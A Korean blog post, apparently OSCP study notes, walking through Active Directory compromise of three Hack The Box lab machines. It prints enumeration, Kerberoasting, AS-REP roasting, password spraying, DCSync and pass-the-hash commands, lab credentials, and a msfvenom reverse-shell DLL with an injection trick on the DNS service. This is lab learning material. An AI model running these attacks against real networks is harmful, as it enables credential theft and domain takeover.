[목차]
1. CASE 1 - HTB active
2. CASE 2 - HTB resolute
3. CASE 3 - HTB Sauna
# CASE 1
- HTB active
[정리]
1. 오픈 포트 확인
53, 88, 389, 139, 445, 464, 5985,5986
2. Check Kerberos > LDAB > Domain name > Hostname
3. SMB open share 디렉터리 검색 > Groups.xml 파일 있는지 확인 (smbmap or smbclient 사용)
4. Groups.xml에서 도메인/유저명/암호 찾아 GetADUsers.py로 유저 리스트 확인
5. Psexec.py 실행
> 내가 어드민 유저라면 시스템 쉘에 붙게 되고 아닌 경우 Not Writable 뜨면서 Psexe.py 정상 실행 안됨
6. GetUserSPNs.py 실행하여 administrator 티켓 출력
7. hashcat으로 출력된 비밀번호 해시 복호화 작업
8. Psexec.py로 administrator 실행
[단계별 작업 절차]
1. 포트 확인
> 윈도우 버전이
7000번 대 :
윈도우 2008 R2 버전 or
윈도우 7 서비스팩 1
9000번 대 :
윈도우 2012 버전 or
윈도우 10
9000번 이상 :
윈도우 2016 버전
> 445 포트에 shared directory가 있는지 확인
2. 커버로스가 보이면 ldap을 확인
> nmap 결과에 도메인 이름 확인이 가능하지만
더 확실히 확인하여 /etc/hosts로 등록.
# 다음으로 호스트네임을 확인해야 하는데
일차적으로 nslookup으로 시도
# nslookup이 타임아웃 되어
결과가 안 나오면 dnsrecon을 시도
# dnsrecon -d 10.10.10.100 -r 10.0.0.0/8 -r range
3. 445 포트 smb open share 찾기
> nmap 스크립트 검색
# locate -r '\.nse$'
# locate -r '\.nse$' | xargs grep categories
# locate -r '\.nse$' | xargs grep categories | grep 'default\|version'
# locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
# nmap --script safe 10.10.10.100 -p 445
> smb 버전이 맞지 않는 경우 결괏값이 없는데
이런 경우 smb 버전을 별도로 확인해 준다.
# nmap --script smb-enum-services 10.10.10.100 -p 445 -d # -d는 디버그 모드
4. smb 접속 가능 shares 확인 및 shares 내 Groups.xml 파일 찾기 (group policy가 저장되어 있음)
4-1. 방법은 두 가지 : smbmap 또는 smbclient 사용
# shares 기본 검색
# smbclient -L //10.10.10.100 # -L 은 리스트 shares
# enum4linux 10.10.10.100 >> 업데이트가 잘 안되는지 결과가 안나오는 경우가 많다
> Domain Conrtoler의 경우 ADMIN$, IPC$, SYSVOL 등의 쉐어 확인이 가능
4-2. Shared Directory 내용 확인
# Shared Directory 내용 확인
# smbmap -R Folder -H 10.10.10.100
4-3. shared 폴더 확인 후 다운
-방법 1-
# shares 추천 검색
# smbmap -H 10.10.10.100 >> 이걸 추천 >> 결과값 확인 후 smbclient로 해당 shares에 붙어본다
# smbclien //10.10.10.100/Found_Shares
# 접속 가능한 Shares 의 정보 확인 후 해당 shares에 Groups.xml 파일이 있는지 확인
# smbmap -R Found_Shares -H 10.10.10.100 >> 있는 경우 해당 파일 다운 받기
# smbmap -R Found_Shares -H 10.10.10.100 -A Groups.xml -q >> 모든 리스트가 아닌 Groups.xml 다운
# 받은 파일 경로 확인
# updatedb
# locate Groups.xml
# less ...........Groups.mxl > 도메인/유저명과 암호화 된 패스워드 확인 가능
# 찾은 암호 복호화 (아래 4-4 항목 확인)
# apt search gpp-decrypt
# apt-get -y install gpp-decrypt
# gpp-decrypt Found_Encrypted_Password_above
---------------------------------------------------------------------
-방법 2-
# 위 작업을 smbmap이 아닌 smbclient에서 하는 경우
# smbclient //10.10.10.100/Found_Shares
> recurse ON
> prompt OFF
> mget *
받은 후 복호화
# gpp-decrypt Found_Encrypted_Password_above
4-4. passwd 크래킹
Group.xml 내 암호화된 패스워드 확인 후
gpp-decrypt로 복호화
# 찾은 암호 복호화
# apt search gpp-decrypt
# apt-get -y install gpp-decrypt
# gpp-decrypt Found_Encrypted_Password_above
5. 필요한 정보가 모두 찾아진 경우
5-1. Impacket 설치 후 GetADUsers.py로
도메인 유저 리스트 확인
# GetADUsers.py -all active.htb/svc_tgs -dc-ip 10.10.10.100
# GetADUsers.py -all -dc-ip 10.10.10.100 active.htb/svc_tgs
5-2. psexec.py
> 내가 admin 유저라면 psexec으로 시스템 권한 탈취 가능
# psexec.py active.htb/svc_tgs@10.10.10.100
>> not Writable로 뜨는 경우 admin 유저가 아니라는 소리
# smbmap으로 다른 shares 찾아보기
> 도메인 명, 유저 명, 암호를 알고 있는 상황이기 때문에
해당 유저로 접속 시 처음보다 더 많은 접근 권한이 있을 것이다.
# smbmap -d active.htb -u svc_tgs -p Found_Decrypted_Password -H 10.10.10.100 >> shares 검색
# smbmap -d active.htb -u svc_tgs -p Found_Decrypted_Password -H 10.10.10.100 -R Found_Shares
>> 해당 shares 파일 리스트 확인
6. 기타 작업 (생략가능)
> 해당 작업은
1. 호스트 윈도우를 사용해도 되고
2. rdesktop으로 붙어도 됨
1. 호스트 윈도우 사용하는 경우
# 기존 vpn 접속 끊고 윈도우에서 openvpn으로 접속
# cmd 열고
C:> ping 10.10.10.100
# 기본 실험 (Windows의 SSO 기능을 통해 NTLM 해시를 넘겨 접속)
C:> runas /netonly /user:takudaddy cmd
암호 : 아무거나 또는 enter
위 커맨드를 입력하는 경우 해당 유저로 새 터미널이 활성화 됨 (아래 이미지 참고)
이러한 기능을 활용하여 찾은 도메인명\유저로 접속이 가능함
# 접속 시도
C:> runas /netonly /user:active.htb\svc_tgs cmd
암호 : Found_Decrypted_Password
7. 기타 작업 절차 (생략가능)
# shares 접속 가능 확인
C:> dir \\10.10.10.100\Found_shares_name
블러드하운드의 SharpHound.exe 사용 >> 커버로스터블 유저를 검색하는 작업. 타킷 서버에 받은 후 작업
C:> powershell
PS C:> dir \\10.10.10.100\Found_shares_name >> shares 티켓 재확인
PS C:> Test-NetConnection -ComputerName 10.10.10.100 -port 389 >> 389 ladp 포트
>> 결괏값 맨 하단 TcpTestSucceeded 가 True로 되어 있는지 확인 >> 포트 리스닝 상태인지 확인하는 작업
와이어 샤크 키고 정상 접속 되는지 확인
PS C:> nslookup >> IP 확인 후 대역이 다른 경우 ncpa.cpl 들어가서 DNS 주소 바꾸기
PS C:> .\SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100
>> bloodhound 파일로 저장됨
>> 리눅스 머신으로 돌아와서 해당 파일을 bloodhound로 실행,
커버로스터블 유저를 검색할 수 있다. administrator, krbtgt 등
8. 칼리에서 Impacket의 GetUserSPNs.py 실행
> 커버로스를 통한 administrator 패스워드 추출 작업
# GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/svc_tgs
>> 해쉬로 된 암호가 출력된다
> 해시값을 파일로 저장 후 hashcat으로 평문 변환
> 구글 검색 : hashcat example hashes
> $krb5tbg$23$ 항목 검색 = 13100
9. 해시캣으로 복호화 작업
# ./hashcat -m 13100 Found_hashes /usr/share/wordlist/rockyou.txt
10. psexec.py로 시스템 쉘 침투
# psexec.py active.htb/administrator@10.10.10.100
Password : Found_cracked_hash_pass
# CASE 2
- HTB - Resolute
1. 포트 확인
53, 88, 389, 139, 445, 464, 5985, 5986
2. /etc/hosts 등록
> hostname으로 ping이 날아가는지 확인
3. Open Shares + Users + 기타 정보 확인
# smbclient -L //10.10.10.222
# smbclient -U '' -N -L //10.10.10.222 -N : No authentication
# smbmap -H 10.10.10.222
# rcpclient -U '' 10.10.10.222 -U : No authentication
rpcclient $> enumdomusers
: 결과 값 별도 저장해두기 > users
: cat users | awk -F\[ '{print $2}' | awk -F\] '{print $1}' > users
rpcclient $> queryuser steve
rcclient $> querydispinfo > Marko Welcome123!
rcclient $> querydispinfo2
4. password policy 확인
# crackmapexec smb --pass-pol 10.10.10.222
# crackmapexec smb 10.10.10.222 -u users -p 'Welcome123!' passwd spray 방식으로 찾는다
결과 옆에 (Pwn3d!) 문구가 안 뜨면
Admin$ 폴더에 Write Access 권한이 없는 것.
5. 위 정보로 shared directory 확인
# smbmap -d megabank.local -u melanie -p 'Welcome123!' -H 10.10.10.222
# crackmap winrm 10.10.10.222 -u users -p 'Welcome123!'
6. 명령어 실행
# crackmap winrm 10.10.10.222 -u melanie -p 'Welcome123!' -X "whoami"
# crackmap winrm 10.10.10.222 -u melanie -p 'Welcome123!' -X "whoami /all"
7. evil-winrm을 통한 쉘 접속
: 설치 방법 (# gem install evil-winrm)
# evil-winrm -u melanie -p 'Welcome123!' -i 10.10.10.222
8. WinPeas.exe 실행
: seatbelt라는 툴 확인
# 타깃 윈도우에서 KALI 파일 가져올때 (python3 -m http.server 80)
PS C:> curl 10.10.15.3/winPEAS.exe -o winpeas.exe
# Powershell에서 Hidden 디렉토리 확인할때
PS C:> get-childitem
PS C:> gci
PS C:> gci -Hidden
# 읽을때 (gc - get content)
PS C:> gc Powershell_transcript_RESOLUTE.OJuoBGhU.20191203064301.txt
9. 기타
# DLL Injection
> DNS 서비스에 리버스 쉘을 주입한다고 가정
> DNS를 멈추고 재실행하는 경우 리버스 쉘은 실행되지만
nslookup 등의 원래 기능은 사용이 안 되고
리버스 쉘을 종료해야만 nslookup이 정상 작동하는데
이유는
: DLL injection의 경우 execution Path를 hijacking 한 뒤 실행된다.
: DNS 서비스가 재실행 되면서 리버스 쉘 DLL을 로딩한다.
: DLL은 로딩되면서 스레드를 분기(forking) 하거나 세팅(setting) 하지 않고
리버스 쉘만 수행시키게 된다.
# DLL reverse shell
# msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.1 LPORT=9001 -f dll > reverse.dll
# file reverse.dll
reverse.dll: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
PS C:\> sc.exe
설명:
SC는 서비스 제어 관리자 및 서비스와의 통신에 사용되는
명령줄 프로그램입니다.
PS C:\> sc.exe stop dns
PS C:\> sc.exe start dns
# CASE 3
- HTB Sauna
[공략 흐름]
1. 박스 구성 확인
: Web Server + AD installed on it
2. 특이사항
: Users dump를 위한 rpcclient, LDAP 안됨
3. 대신 Kerberos pre-authentication을 통한
Boolean magic으로 username을 찾는다.
: username을 입력하면 Kerberos에서
pre-authentication을 요구하는데
그 말인 즉슨 해당 user가 박스 내
존재한다는 뜻
4. username 확인 : site 내 확인 가능한
usernames를 수집 후 vim macro 기능으로
경우의 수 생성
5. KerBrute : 생성된 username list 중
유효한 사용자가 있는지 kerbrute
(https://github.com/TarlogicSecurity/kerbrute)를
통해 확인
6. GetNPUsers.py : 유효한 username을
위 Impacket scripts와 ASREP Roast를 통해
AD로부터 해당 account의 password hash 추출
7. hashcat을 통한 crack 작업
8. evil-winrm : 박스 첫 침투
9. 침투 서버에서 WinPeas.exe 실행 후 creds 얻기
10. Bloodhound 실행
: 특정 사용자가 dcsync 가능한지 확인
11. SecretsDump.py : DCSYNC를 통해
administrator hash 요청
12. PsExec.py : pass the hash로 administrator 로그인
[정리]
1. 오픈 포트 확인
53, 80, 88, 135, 139, 445, 464, 593, 636, 3268, 3269
: 53 DNS, 80 WebServer, 88 Kerberos, 445 SMB, 636 LDAP
> windows Domain Controler로 추정이 가능
2. SMB Enum
# crackmapexec smb 192.168.137.131 (hostname, domain 확인)
# crackmapexec smb 192.168.137.131 --shares
# crackmapexec smb 192.168.137.131 --shares -u '' -p ''
# smbmap -H 192.168.137.131 -u ''
# rpcclient 192.168.137.131 -U ''
rpcclient $> enumdomusers
#
3. 도메인 확인 후 hosts에 등록!
4. ldapsearch
# ldapsearch -x -h 192.168.137.131 -s base namingcontexts
> DC=EGOTISTICAL-BANK,DC=LOCAL (복사)
# ldapsearch -x -h 192.168.137.131 'DC=EGOTISTICAL-BANK,DC=LOCAL' -s sub
> 사용자 정보가 나올 수도 있음 (여기선 안나옴)
# ldapsearch -x -h 192.168.137.131 'DC=EGOTISTICAL-BANK,DC=LOCAL' -s sub | grep -i sam
4. web enum
: 서비스, 기능 확인
: Usernames 수집
5. VI 편집기로 username 경우의 수로 생성
users.txt
* 참고 : 공백 제거
# ./kerbrute userenum --dc 192.168.137.131 -d EGOTISTICAL-BANK.LOCAL users.txt
> 사용자 확인
7. GetNPUsers.py
# GetNPUsers.py EGOTISTICAL-BANK.local/administrator
# GetNPUsers.py EGOTISTICAL-BANK.local/fsmith
8. hashcat
1. 해시 모드 번호 확인
# hashcat --example-hashes | grep asrep
# hashcat --example-hashes | less
2. crack
# hashcat -m 18200 hash.hash /usr/share/wordlists/rockyou.txt
9. crackmapexec
# crackmapexec smb 192.168.137.131 -u fsmith -p Thestrokes23 --shares
# crackmapexec winrm 192.168.137.131 -u fsmith -p Thestrokes23
> (Pwn3d!) 여부 확인
10. evil-winrm
# evil-winrm -i 192.168.137.131 -u fsmith -p Thestrokes23
11. WinPEAS.exe
> 업로드 후 실행
> autologon 계정 확인
> net user 정보 확인
> net user /domain svc_loanmgr
> net user /domain hsmith
12. BloodHound 설치 및 실행
# Kali 설치 및 실행
# apt -y install bloodhound
: neo4j console 실행
# neo4j console
# 브라우저
http://localhost:7474
> 새 비번 세팅 (default : neo4j)
: 새 비번 세팅
: BloodHound 실행
: 침투 서버로 업로드 후 실행
> zip 파일로 떨궈준다.
: Zip 파일을 Kali로 다운로드
: drag & drop으로 BloodHound에 넣어주기
: Mark 작업
: Shortest Path from Owned Principals 체크
> DC로 PS remote 가능한지 확인가능
: Find all Domain Admins
: Find Shortest Paths to Domain Admins
: Find Principals with DCSync Rights
> Impacket 중에 DCSync tool이 있다
* DCSync는 DC가 다른 DC에게
도메인 join에 필요한 sync passwords가
필요하니 모든 hashes를 다 보내라!
요청하는 것
13. secretsdump.py
> DCSync 작업용 툴
# secretsdump.py egorisrical-bank.local/svc_loanmgr@192.168.137.131
password :
> administrator 해시 확인!
14. Pass the hash attack
> LMHASH:NTHASH 다 필요
(LandMan Hash / NTLM hash)
: crackmapexec으로
PsExec 사용가능 여부 확인
: PsExec
끝
'OSCP > OSCP 공부일지' 카테고리의 다른 글
AD 공략 3 (0) | 2022.09.11 |
---|---|
AD 공략 2 (0) | 2022.09.10 |
Rustbuster 소개 (Fuzzer) (0) | 2022.06.21 |
Cadaver 소개 (0) | 2022.05.23 |
Rustscan 소개 (0) | 2022.05.21 |